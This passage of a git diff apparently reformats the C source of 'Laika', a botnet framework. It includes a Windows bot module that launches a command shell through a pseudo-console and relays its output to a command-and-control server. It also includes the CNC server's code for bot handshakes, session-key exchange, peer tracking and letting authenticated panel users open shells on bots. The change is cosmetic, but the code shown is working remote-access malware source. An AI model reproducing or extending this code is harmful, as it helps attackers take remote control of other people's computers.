? S_OK : HRESULT_FROM_WIN32(GetLastError());
hr = CreateProcess(NULL, /* No module name - use Command Line */
szComspec, /* Command Line */
NULL, /* Process handle not inheritable */
NULL, /* Thread handle not inheritable */
FALSE, /* Inherit handles */
EXTENDED_STARTUPINFO_PRESENT, /* Creation flags */
NULL, /* Use parent's environment block */
NULL, /* Use parent's starting directory */
&shell->startupInfo.StartupInfo, /* Pointer to STARTUPINFO */
&shell->procInfo) /* Pointer to PROCESS_INFORMATION */
? S_OK
: HRESULT_FROM_WIN32(GetLastError());
if (hr != S_OK) {
DeleteProcThreadAttributeList(shell->startupInfo.lpAttributeList);
laikaM_free(shell->startupInfo.lpAttributeList);
ClosePseudoConsole(shell->pseudoCon);
laikaM_free(shell);
return NULL;
}
return (struct sLaika_shell*)shell;
return (struct sLaika_shell *)shell;
}
void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell)
{
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell;
/* kill process (it's ok if it fails) */
TerminateProcess(shell->procInfo.hProcess, 0);
@ -99,8 +105,11 @@ void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
/* ====================================[[ Shell Handlers ]]===================================== */
/* edited from https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */
HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols, int rows) {
/* edited from
* https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */
HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols,
int rows)
{
COORD consoleSize = (COORD){.X = cols, .Y = rows};
HANDLE hPipePTYIn = INVALID_HANDLE_VALUE;
HANDLE hPipePTYOut = INVALID_HANDLE_VALUE;
@ -108,11 +117,14 @@ HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPip
DWORD mode = PIPE_NOWAIT;
/* create the pipes to which the ConPTY will connect */
if (!CreatePipe(&hPipePTYIn, phPipeOut, NULL, 0) || !CreatePipe(phPipeIn, &hPipePTYOut, NULL, 0))
if (!CreatePipe(&hPipePTYIn, phPipeOut, NULL, 0) ||
!CreatePipe(phPipeIn, &hPipePTYOut, NULL, 0))
return HRESULT_FROM_WIN32(GetLastError());
/* anon pipes can be set to non-blocking for backwards compatibility. this makes our life much easier so it fits in nicely with
the rest of the laika codebase (https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-setnamedpipehandlestate) */
/* anon pipes can be set to non-blocking for backwards compatibility. this makes our life much
easier so it fits in nicely with the rest of the laika codebase
(https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-setnamedpipehandlestate)
*/
if (!SetNamedPipeHandleState(*phPipeIn, &mode, NULL, NULL))
return HRESULT_FROM_WIN32(GetLastError());
@ -127,8 +139,10 @@ HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPip
return hr;
}
/* also edited from https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */
HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo, HPCON hPC) {
/* also edited from
* https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */
HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo, HPCON hPC)
{
HRESULT hr = E_UNEXPECTED;
if (pStartupInfo) {
@ -140,19 +154,15 @@ HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo
pStartupInfo->lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)laikaM_malloc(attrListSize);
/* Initialize thread attribute list */
if (pStartupInfo->lpAttributeList
&& InitializeProcThreadAttributeList(pStartupInfo->lpAttributeList, 1, 0, &attrListSize)){
if (pStartupInfo->lpAttributeList &&
InitializeProcThreadAttributeList(pStartupInfo->lpAttributeList, 1, 0, &attrListSize)) {
/* Set Pseudo Console attribute */
hr = UpdateProcThreadAttribute(
pStartupInfo->lpAttributeList,
0,
PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE,
hPC,
sizeof(HPCON),
NULL,
NULL)
? S_OK : HRESULT_FROM_WIN32(GetLastError());
hr = UpdateProcThreadAttribute(pStartupInfo->lpAttributeList, 0,
PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE, hPC, sizeof(HPCON),
NULL, NULL)
? S_OK
: HRESULT_FROM_WIN32(GetLastError());
} else {
hr = HRESULT_FROM_WIN32(GetLastError());
}
@ -161,13 +171,15 @@ HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo
return hr;
}
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t)];
struct sLaika_peer* peer = bot->peer;
struct sLaika_socket* sock = &peer->sock;
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell)
{
char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH - sizeof(uint32_t)];
struct sLaika_peer *peer = bot->peer;
struct sLaika_socket *sock = &peer->sock;
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell;
DWORD rd;
bool readSucc = ReadFile(shell->in, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t), &rd, NULL);
bool readSucc =
ReadFile(shell->in, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH - sizeof(uint32_t), &rd, NULL);
if (readSucc) {
/* we read some input! send to cnc */
@ -176,7 +188,8 @@ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
laikaS_write(sock, readBuf, rd);
laikaS_endVarPacket(peer);
} else {
if (GetLastError() == ERROR_NO_DATA && WaitForSingleObject(shell->procInfo.hProcess, 0) == WAIT_TIMEOUT)
if (GetLastError() == ERROR_NO_DATA &&
WaitForSingleObject(shell->procInfo.hProcess, 0) == WAIT_TIMEOUT)
return true; /* recoverable, process is still alive */
/* unrecoverable error */
laikaB_freeShell(bot, _shell);
@ -186,16 +199,18 @@ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
return true;
}
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *_shell, char *buf, size_t length) {
struct sLaika_peer* peer = bot->peer;
struct sLaika_socket* sock = &peer->sock;
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *_shell, char *buf,
size_t length)
{
struct sLaika_peer *peer = bot->peer;
struct sLaika_socket *sock = &peer->sock;
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell;
size_t nLeft;
DWORD nWritten;
nLeft = length;
while (nLeft > 0) {
if (!WriteFile(shell->out, (void*)buf, length, &nWritten, NULL)) {
if (!WriteFile(shell->out, (void *)buf, length, &nWritten, NULL)) {
/* unrecoverable error */
laikaB_freeShell(bot, _shell);
return false;

View File

@ -1,24 +1,25 @@
#ifndef LAIKA_CNC_H
#define LAIKA_CNC_H
#include "hashmap.h"
#include "laika.h"
#include "lpacket.h"
#include "lsocket.h"
#include "lpolllist.h"
#include "lpeer.h"
#include "lpolllist.h"
#include "lsocket.h"
#include "ltask.h"
#include "hashmap.h"
/* kill peers if they haven't ping'd within a minute */
#define LAIKA_PEER_TIMEOUT 60 * 1000
typedef bool (*tLaika_peerIter)(struct sLaika_peer *peer, void *uData);
struct sLaika_cnc {
struct sLaika_cnc
{
uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
struct sLaika_socket sock;
struct sLaika_pollList pList;
struct hashmap *peers; /* holds all peers, lookup using pubkey */
struct hashmap *peers; /* holds all peers, lookup using pubkey */
struct sLaika_peer **authPeers; /* holds connected panel peers */
uint8_t **authKeys;
int authKeysCount;
@ -50,7 +51,8 @@ void laikaC_iterPeers(struct sLaika_cnc *cnc, tLaika_peerIter iter, void *uData)
struct sLaika_peer *laikaC_getPeerByPub(struct sLaika_cnc *cnc, uint8_t *pub);
/* kills peers who haven't ping'd in a while */
void laikaC_sweepPeersTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData);
void laikaC_sweepPeersTask(struct sLaika_taskService *service, struct sLaika_task *task,
clock_t currTick, void *uData);
void laikaC_iterPeers(struct sLaika_cnc *cnc, tLaika_peerIter iter, void *uData);

View File

@ -7,9 +7,13 @@
void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *bot);
void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *bot);
void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData);
void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData);
void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData);
void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData);
void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
void *uData);
void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
void *uData);
void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
void *uData);
void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
void *uData);
#endif

View File

@ -3,18 +3,20 @@
#include "laika.h"
#include "lpacket.h"
#include "lsocket.h"
#include "lpolllist.h"
#include "lpeer.h"
#include "lpolllist.h"
#include "lsocket.h"
struct sLaika_peerInfo {
struct sLaika_peerInfo
{
struct sLaika_shellInfo *shells[LAIKA_MAX_SHELLS]; /* currently connected shells */
struct sLaika_cnc *cnc;
long lastPing;
bool completeHandshake;
};
struct sLaika_shellInfo {
struct sLaika_shellInfo
{
struct sLaika_peer *bot;
struct sLaika_peer *auth;
uint32_t botShellID, authShellID;
@ -24,25 +26,28 @@ struct sLaika_shellInfo {
#define BASE_PEERINFO struct sLaika_peerInfo info;
/* these will differ someday */
struct sLaika_botInfo {
struct sLaika_botInfo
{
BASE_PEERINFO
};
struct sLaika_authInfo {
struct sLaika_authInfo
{
BASE_PEERINFO
};
#undef BASE_PEERINFO
#define GETPINFOFROMPEER(x) ((struct sLaika_peerInfo*)x->uData)
#define GETBINFOFROMPEER(x) ((struct sLaika_botInfo*)x->uData)
#define GETAINFOFROMPEER(x) ((struct sLaika_authInfo*)x->uData)
#define GETPINFOFROMPEER(x) ((struct sLaika_peerInfo *)x->uData)
#define GETBINFOFROMPEER(x) ((struct sLaika_botInfo *)x->uData)
#define GETAINFOFROMPEER(x) ((struct sLaika_authInfo *)x->uData)
struct sLaika_botInfo *laikaC_newBotInfo(struct sLaika_cnc *cnc);
struct sLaika_authInfo *laikaC_newAuthInfo(struct sLaika_cnc *cnc);
void laikaC_freePeerInfo(struct sLaika_peer *peer, struct sLaika_peerInfo *pInfo);
struct sLaika_shellInfo* laikaC_openShell(struct sLaika_peer *bot, struct sLaika_peer *auth, uint16_t cols, uint16_t rows);
struct sLaika_shellInfo *laikaC_openShell(struct sLaika_peer *bot, struct sLaika_peer *auth,
uint16_t cols, uint16_t rows);
void laikaC_closeShell(struct sLaika_shellInfo *shell);
void laikaC_closeShells(struct sLaika_peer *peer);

View File

@ -1,57 +1,61 @@
#include "lmem.h"
#include "lsodium.h"
#include "lsocket.h"
#include "lerror.h"
#include "ltask.h"
#include "cnc.h"
#include "cpanel.h"
#include "cpeer.h"
#include "cnc.h"
#include "lerror.h"
#include "lmem.h"
#include "lsocket.h"
#include "lsodium.h"
#include "ltask.h"
/* ======================================[[ PeerHashMap ]]======================================= */
typedef struct sCNC_PeerHashElem {
typedef struct sCNC_PeerHashElem
{
struct sLaika_peer *peer;
uint8_t *pub;
} tCNC_PeerHashElem;
int cnc_PeerElemCompare(const void *a, const void *b, void *udata) {
int cnc_PeerElemCompare(const void *a, const void *b, void *udata)
{
const tCNC_PeerHashElem *ua = a;
const tCNC_PeerHashElem *ub = b;
return memcmp(ua->pub, ub->pub, crypto_kx_PUBLICKEYBYTES);
return memcmp(ua->pub, ub->pub, crypto_kx_PUBLICKEYBYTES);
}
uint64_t cnc_PeerElemHash(const void *item, uint64_t seed0, uint64_t seed1) {
uint64_t cnc_PeerElemHash(const void *item, uint64_t seed0, uint64_t seed1)
{
const tCNC_PeerHashElem *u = item;
return *(uint64_t*)(u->pub); /* hashes pub key (first 8 bytes) */
return *(uint64_t *)(u->pub); /* hashes pub key (first 8 bytes) */
}
/* ====================================[[ Packet Handlers ]]==================================== */
bool checkPeerKey(struct sLaika_peer *peer, void *uData) {
bool checkPeerKey(struct sLaika_peer *peer, void *uData)
{
if (sodium_memcmp(peer->peerPub, uData, crypto_kx_PUBLICKEYBYTES) == 0)
LAIKA_ERROR("public key is already in use!\n");
return true;
}
void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
char magicBuf[LAIKA_MAGICLEN];
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
struct sLaika_cnc *cnc = pInfo->cnc;
char *tempIPBuf;
uint8_t major, minor;
laikaS_read(&peer->sock, (void*)magicBuf, LAIKA_MAGICLEN);
laikaS_read(&peer->sock, (void *)magicBuf, LAIKA_MAGICLEN);
major = laikaS_readByte(&peer->sock);
minor = laikaS_readByte(&peer->sock);
peer->osType = laikaS_readByte(&peer->sock);
peer->type = PEER_BOT;
if (memcmp(magicBuf, LAIKA_MAGIC, LAIKA_MAGICLEN) != 0
|| major != LAIKA_VERSION_MAJOR
|| minor != LAIKA_VERSION_MINOR)
if (memcmp(magicBuf, LAIKA_MAGIC, LAIKA_MAGICLEN) != 0 || major != LAIKA_VERSION_MAJOR ||
minor != LAIKA_VERSION_MINOR)
LAIKA_ERROR("invalid handshake request!\n");
/* read peer's public key */
@ -61,15 +65,17 @@ void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, v
laikaS_read(&peer->sock, peer->hostname, LAIKA_HOSTNAME_LEN);
laikaS_read(&peer->sock, peer->inet, LAIKA_INET_LEN);
/* check and make sure there's not already a peer with the same key (might throw an LAIKA_ERROR, which will kill the peer) */
laikaC_iterPeers(cnc, checkPeerKey, (void*)peer->peerPub);
/* check and make sure there's not already a peer with the same key (might throw an LAIKA_ERROR,
* which will kill the peer) */
laikaC_iterPeers(cnc, checkPeerKey, (void *)peer->peerPub);
/* restore null-terminator */
peer->hostname[LAIKA_HOSTNAME_LEN-1] = '\0';
peer->inet[LAIKA_INET_LEN-1] = '\0';
peer->hostname[LAIKA_HOSTNAME_LEN - 1] = '\0';
peer->inet[LAIKA_INET_LEN - 1] = '\0';
/* gen session keys */
if (crypto_kx_server_session_keys(peer->inKey, peer->outKey, cnc->pub, cnc->priv, peer->peerPub) != 0)
if (crypto_kx_server_session_keys(peer->inKey, peer->outKey, cnc->pub, cnc->priv,
peer->peerPub) != 0)
LAIKA_ERROR("failed to gen session key!\n");
/* encrypt all future packets */
@ -86,8 +92,9 @@ void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, v
LAIKA_DEBUG("accepted handshake from peer %p\n", peer);
}
void laikaC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
void laikaC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
pInfo->lastPing = laikaT_getTime();
laikaS_emptyOutPacket(peer, LAIKAPKT_PINGPONG); /* gg 2 ez */
@ -145,11 +152,13 @@ struct sLaika_peerPacketInfo laikaC_authPktTbl[LAIKAPKT_MAXNONE] = {
/* ==========================================[[ CNC ]]========================================== */
struct sLaika_cnc *laikaC_newCNC(uint16_t port) {
struct sLaika_cnc *laikaC_newCNC(uint16_t port)
{
struct sLaika_cnc *cnc = laikaM_malloc(sizeof(struct sLaika_cnc));
/* init peer hashmap & panel list */
cnc->peers = hashmap_new(sizeof(tCNC_PeerHashElem), 8, 0, 0, cnc_PeerElemHash, cnc_PeerElemCompare, NULL, NULL);
cnc->peers = hashmap_new(sizeof(tCNC_PeerHashElem), 8, 0, 0, cnc_PeerElemHash,
cnc_PeerElemCompare, NULL, NULL);
cnc->authPeers = NULL;
cnc->authKeys = NULL;
cnc->authKeysCount = 0;
@ -158,8 +167,8 @@ struct sLaika_cnc *laikaC_newCNC(uint16_t port) {
cnc->authPeersCount = 0;
cnc->port = port;
/* init socket & pollList */
laikaS_initSocket(&cnc->sock, NULL, NULL, NULL, NULL); /* we just need it for the raw socket fd and abstracted API :) */
/* init socket (we just need it for the raw socket fd and abstracted API :P) & pollList */
laikaS_initSocket(&cnc->sock, NULL, NULL, NULL, NULL);
laikaP_initPList(&cnc->pList);
if (sodium_init() < 0) {
@ -178,7 +187,8 @@ struct sLaika_cnc *laikaC_newCNC(uint16_t port) {
return cnc;
}
void laikaC_bindServer(struct sLaika_cnc *cnc) {
void laikaC_bindServer(struct sLaika_cnc *cnc)
{